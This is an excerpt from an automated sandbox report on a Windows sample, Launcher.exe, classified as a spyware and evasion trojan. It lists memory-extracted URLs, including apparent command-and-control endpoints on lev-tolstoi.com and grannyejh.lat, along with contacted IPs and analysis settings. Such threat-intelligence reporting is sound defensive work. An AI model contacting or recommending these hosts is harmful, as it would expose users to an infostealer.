https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apis/d	Launcher.exe, 00000003.00000003.2482226766.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2482875381.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/privacy_agreement/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com:443/apil	Launcher.exe, 00000003.00000002.2482875381.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2387068270.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com:443/apii	Launcher.exe, 00000003.00000003.2183979276.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampo	Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/;	Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/about/	Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/my/wishlist/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/er	Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://help.steampowered.com/en/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/subscriber_agreement/	Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://recaptcha.net/recaptcha/;	Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/uo	Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/apis	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/discussions/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/stats/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://medal.tv	Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/workshop/	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb	Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/legal/	Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://grannyejh.lat:443/api_f	Launcher.exe, 00000003.00000003.2183979276.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/api=	Launcher.exe, 00000003.00000003.2345580376.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373917806.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2386728051.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482226766.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2482875381.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2387068270.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/pS	Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/5	Launcher.exe, 00000003.00000003.2342965816.000000000101B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/3	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apiC	Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/api1	Launcher.exe, 00000003.00000003.2343011519.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579547
Start date and time:	2024-12-22 23:49:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Launcher.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/5@11/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 64
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 20.190.147.3, 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, otelrules.azureedge.net, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Launcher.exe, PID 6292 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:49:57	API Interceptor	13x Sleep call for process: Launcher.exe modified
17:50:25	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
